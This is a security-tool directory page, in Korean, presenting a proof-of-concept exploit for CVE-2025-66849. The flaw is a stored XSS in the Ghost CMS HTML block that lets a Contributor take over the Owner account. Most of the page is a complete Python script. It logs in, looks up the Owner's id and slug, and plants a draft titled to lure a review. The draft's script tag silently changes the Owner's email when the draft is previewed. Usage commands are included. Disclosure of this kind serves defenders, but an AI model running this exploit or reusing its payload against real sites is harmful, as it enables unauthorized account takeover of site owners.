Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-66849 — Ghost CMS 권한 상승 PoC | Kitploit
도구/GitHubGitHub/wojtekchwala/cve-2025-66849
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubwojtekchwala/cve-2025-66849

CVE-2025-66849

Ghost CMS 권한 상승 PoC

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-66849

Ghost CMS 권한 상승 PoC

요약

Ghost Foundation Ghost CMS 6.4.0 이하 버전의 게시물 초안 편집기에 있는 HTML 블록은 사용자가 제공한 콘텐츠를 제대로 정화(sanitize)하거나 인코딩하지 않아 저장형 크로스 사이트 스크립팅(XSS) 취약점이 발생합니다. Contributor 권한을 가진 사용자는 초안에 임의의 JavaScript를 주입할 수 있으며, 이는 Owner 계정이 해당 초안을 열람할 때 실행됩니다. 이를 통해 공격자는 Owner의 컨텍스트에서 권한 있는 작업을 수행할 수 있습니다.

취약점 개요

심각도: 높음

영향을 받는 버전: Ghost 6.4.0 (2025년 10월 20일 기준 최신 버전) - Ghost CMS 6.4.0 이하

재현 단계

취약점을 입증하려면 두 개의 계정으로 로컬 Ghost CMS 인스턴스를 설정해야 합니다:

  1. Owner 계정 - Ghost 설치 중 자동으로 생성됩니다.

  2. Contributor 계정 - Owner가 새 사용자를 초대하여 생성합니다. Ghost는 Contributor의 이메일 주소로 Magic Link를 보내 계정 설정을 완료합니다.

로컬에서 수행되므로 MailHog와 같은 이메일 캡처 도구(예: Docker 사용)를 설치해야 합니다. 이렇게 하면 Ghost가 보낸 Magic Link를 로컬에서 가로챌 수 있어 Contributor가 직접 계정을 활성화할 수 있습니다.

두 계정이 모두 활성화되면 익스플로잇 스크립트(contributor.py)를 사용할 수 있습니다. 이 스크립트는 Contributor의 로그인 자격 증명과 공격 성공 후 Owner 계정에 설정될 새 이메일 주소가 필요합니다.

스크립트 매개변수는 다음과 같습니다:

root@kitploit:~
-u / --username      Contributor username (email)
-p / --password      Contributor password
-e / --new-email     New email address to be set on the Owner account
--url                Ghost instance URL (optional)

터미널에서 스크립트를 실행하려면 다음을 사용하세요:

root@kitploit:~
python3 contributor.py -u '[email protected]' -p 'wojtek123!@#' -e '[email protected]'

실행하면 이 스크립트는 취약한 HTML 블록 내에 악성 JavaScript 페이로드가 포함된 새 Post 초안을 자동으로 생성합니다.

저장형 XSS를 트리거하려면 Owner는 초안을 미리 보기만 하면 됩니다, 즉 Ghost 관리자 패널에서 해당 초안을 열고 “Preview”를 클릭하면 됩니다. 주입된 스크립트는 Owner의 권한으로 백그라운드에서 실행되며, Owner는 자신의 이메일 주소가 변경되었음을 알림받지 못합니다.

root@kitploit:~
import requests
import json
import argparse

class GhostCMSSession:
    def __init__(self, ghost_url="http://localhost:2368"):
        self.ghost_url = ghost_url.rstrip('/')
        self.api_url = f"{self.ghost_url}/ghost/api/admin"
        self.session = requests.Session()
        self.authenticated = False
        self.current_user = None
        self.owner_user = None

        self.session.headers.update({
            'Origin': self.ghost_url,
            'Accept': 'application/json',
            'Content-Type': 'application/json'
        })

    def login(self, username, password):
        """Login to Ghost with username and password"""
        login_url = f"{self.api_url}/session/"
        payload = {"username": username, "password": password}

        try:
            response = self.session.post(login_url, json=payload)

            if response.status_code == 201:
                print(f"✓ Successfully logged in as {username}")
                self.authenticated = True
                self.current_user = self.get_current_user()
                self.owner_user = self.get_owner_user()
                return True
            else:
                print(f"✗ Login failed: {response.status_code}")
                return False
        except Exception as e:
            print(f"✗ Login error: {str(e)}")
            return False

    def get_current_user(self):
        """Get current user information"""
        if not self.authenticated:
            return None

        try:
            url = f"{self.api_url}/users/me/?include=roles"
            response = self.session.get(url)

            if response.status_code == 200:
                data = response.json()
                user = data['users'][0]

                print(f"\n  Current User: {user.get('name', 'Unknown')}")
                print(f"  Email: {user.get('email', 'Unknown')}")
                print(f"  User ID: {user.get('id', 'Unknown')}")

                if 'roles' in user and user['roles']:
                    role = user['roles'][0]
                    if isinstance(role, dict):
                        print(f"  Role: {role.get('name', 'Unknown')}")

                return user
            return None
        except Exception as e:
            print(f"  Error fetching user: {str(e)}")
            return None

    def get_owner_user(self):
        """Fetch all users and find the owner - return full user object"""
        if not self.authenticated:
            return None

        try:
            print(f"\n  Fetching all users to find owner...")
            url = f"{self.api_url}/users/?include=roles"
            response = self.session.get(url)

            if response.status_code == 200:
                data = response.json()
                users = data.get('users', [])

                print(f"  Found {len(users)} users")

                for user in users:
                    if 'roles' in user and user['roles']:
                        role = user['roles'][0]
                        role_name = role.get('name', '').lower() if isinstance(role, dict) else str(role).lower()

                        print(f"    - {user.get('name')} ({user.get('email')}) - Role: {role_name}")

                        if role_name == 'owner' or role_name == 'administrator':
                            print(f"\n  ✓ Found Owner: {user.get('name')} (ID: {user.get('id')})")
                            print(f"    Slug: {user.get('slug')}")
                            print(f"    Email: {user.get('email')}")
                            return user

                return None
            return None
        except Exception as e:
            print(f"  ✗ Error fetching users: {str(e)}")
            return None

    def create_lexical_with_html(self, html_content):
        """Create Lexical format with HTML node (as a JSON string)"""
        lexical_structure = {
            "root": {
                "children": [
                    {
                        "type": "html",
                        "version": 1,
                        "html": html_content,
                        "visibility": {
                            "web": {
                                "nonMember": True,
                                "memberSegment": "status:free,status:-free"
                            },
                            "email": {
                                "memberSegment": "status:free,status:-free"
                            }
                        }
                    },
                    {
                        "children": [],
                        "direction": None,
                        "format": "",
                        "indent": 0,
                        "type": "paragraph",
                        "version": 1
                    }
                ],
                "direction": None,
                "format": "",
                "indent": 0,
                "type": "root",
                "version": 1
            }
        }
        return json.dumps(lexical_structure)

    def create_post_for_review(self, title, new_email, tags=None, excerpt=None):
        """Create a post with Lexical HTML content"""
        if not self.authenticated or not self.current_user:
            print("✗ Not authenticated")
            return None

        if not self.owner_user:
            print("✗ Owner user not found")
            return None

        author_id = self.current_user.get('id')
        owner_id = self.owner_user.get('id')
        owner_slug = self.owner_user.get('slug')
        owner_name = self.owner_user.get('name')

        print(f"\n  Creating post with CONTRIBUTOR as author")
        print(f"  Author ID: {author_id} ({self.current_user.get('name')})")
        print(f"  Target Owner ID: {owner_id}")
        print(f"  Target Owner Slug: {owner_slug}")
        print(f"  Target Owner Name: {owner_name}")

        # HTML content with placeholders
        article_content = """\"><script>
fetch("/ghost/api/admin/users/<id>/?include=roles", {
method: "PUT",
credentials: "include",
headers: {
"accept": "*/*",
"content-type": "application/json",
"x-ghost-version": "6.0",
"app-pragma": "no-cache"
},
body: JSON.stringify({
"users": [
{
"slug": "<slug>",
"id": "<id>",
"name": "<name>",
"email": "<email>",
"profile_image": null,
"cover_image": null,
"bio": null,
"website": null,
"location": null,
"facebook": null,
"twitter": null,
"threads": null,
"bluesky": null,
"mastodon": null,
"tiktok": null,
"youtube": null,
"instagram": null,
"linkedin": null,
"accessibility": null,
"status": "active",
"meta_title": null,
"meta_description": null,
"tour": null,
"comment_notifications": true,
"free_member_signup_notification": true,
"paid_subscription_started_notification": true,
"paid_subscription_canceled_notification": false,
"mention_notifications": true,
"recommendation_notifications": true,
"milestone_notifications": true,
"donation_notifications": true,
"roles": [],
"url": "http://localhost:2368/404/"
}
]
})
});
</script>"""

        # Replace placeholders with actual owner data
        html_content_with_id = article_content.replace("<id>", owner_id)
        html_content_with_id = html_content_with_id.replace("<slug>", owner_slug)
        html_content_with_id = html_content_with_id.replace("<name>", owner_name)
        html_content_with_id = html_content_with_id.replace("<email>", new_email)

        print(f"\n  HTML content prepared (with Owner data injected)")
        print(f"  Target email change: {self.owner_user.get('email')} → {new_email}")

        # Create Lexical content
        lexical_content = self.create_lexical_with_html(html_content_with_id)

        # Prepare post data with Lexical
        post_data = {
            'posts': [{
                'title': title,
                'lexical': lexical_content,
                'status': 'draft',
                'authors': [author_id],
            }]
        }

        if excerpt:
            post_data['posts'][0]['excerpt'] = excerpt

        if tags:
            post_data['posts'][0]['tags'] = [{'name': tag} for tag in tags]

        # Try multiple API approaches
        attempts = [
            {'url': f"{self.api_url}/posts/?source=html", 'data': post_data},
            {'url': f"{self.api_url}/posts/", 'data': post_data},
            {
                'url': f"{self.api_url}/posts/?source=html",
                'data': {
                    'posts': [{
                        'title': title,
                        'lexical': lexical_content,
                        'status': 'draft',
                        'authors': [{'id': author_id}],
                    }]
                }
            },
            {
                'url': f"{self.api_url}/posts/?source=html",
                'data': {
                    'posts': [{
                        'title': title,
                        'lexical': lexical_content,
                        'status': 'draft',
                    }]
                }
            },
        ]

        for i, attempt in enumerate(attempts, 1):
            try:
                print(f"\n  Attempt {i}: {attempt['url']}")
                response = self.session.post(attempt['url'], json=attempt['data'])

                if response.status_code == 201:
                    post = response.json()['posts'][0]
                    print(f"\n✓✓✓ Post created successfully!")
                    print(f"  Title: {post['title']}")
                    print(f"  Post ID: {post['id']}")
                    print(f"  Status: {post['status']}")

                    if 'authors' in post and post['authors']:
                        print(f"  Author: {post['authors'][0].get('name', 'Unknown')}")

                    print(f"  Admin URL: {self.ghost_url}/ghost/#/editor/post/{post['id']}")
                    print(f"\n  ⚠️  Post contains script targeting Owner: {owner_name} ({owner_slug})")
                    print(f"  ⚠️  Email change: {self.owner_user.get('email')} → {new_email}")
                    return response.json()
                else:
                    print(f"  ✗ Status {response.status_code}")
                    print(f"  Response: {response.text}")

            except Exception as e:
                print(f"  ✗ Exception: {str(e)}")

        print(f"\n✗ All attempts to create post failed.")
        return None

    def logout(self):
        """Logout from Ghost session"""
        if self.authenticated:
            try:
                logout_url = f"{self.api_url}/session/"
                self.session.delete(logout_url)
                print("\n✓ Logged out successfully")
            except:
                pass
        self.session.close()


def main():
    parser = argparse.ArgumentParser(
        description='Ghost CMS Stored XSS PoC - Account Takeover via Email Change'
    )
    parser.add_argument('-u', '--username', required=True,
                       help='Ghost username (email)')
    parser.add_argument('-p', '--password', required=True,
                       help='Ghost password')
    parser.add_argument('-e', '--new-email', required=True,
                       help='New email to set for owner account')
    parser.add_argument('--url', default='http://localhost:2368',
                       help='Ghost instance URL')

    args = parser.parse_args()

    # Article details
    article_title = "Review Required: Important Update"
    article_tags = ["review"]
    article_excerpt = "Please review this update at your earliest convenience"

    # Initialize Ghost client
    ghost = GhostCMSSession(ghost_url=args.url)

    # Login
    if not ghost.login(args.username, args.password):
        return

    # Create post with malicious content
    if ghost.current_user and ghost.owner_user:
        ghost.create_post_for_review(
            title=article_title,
            new_email=args.new_email,
            tags=article_tags,
            excerpt=article_excerpt
        )

    # Logout
    ghost.logout()


if __name__ == "__main__":
    main()
도구 다운로드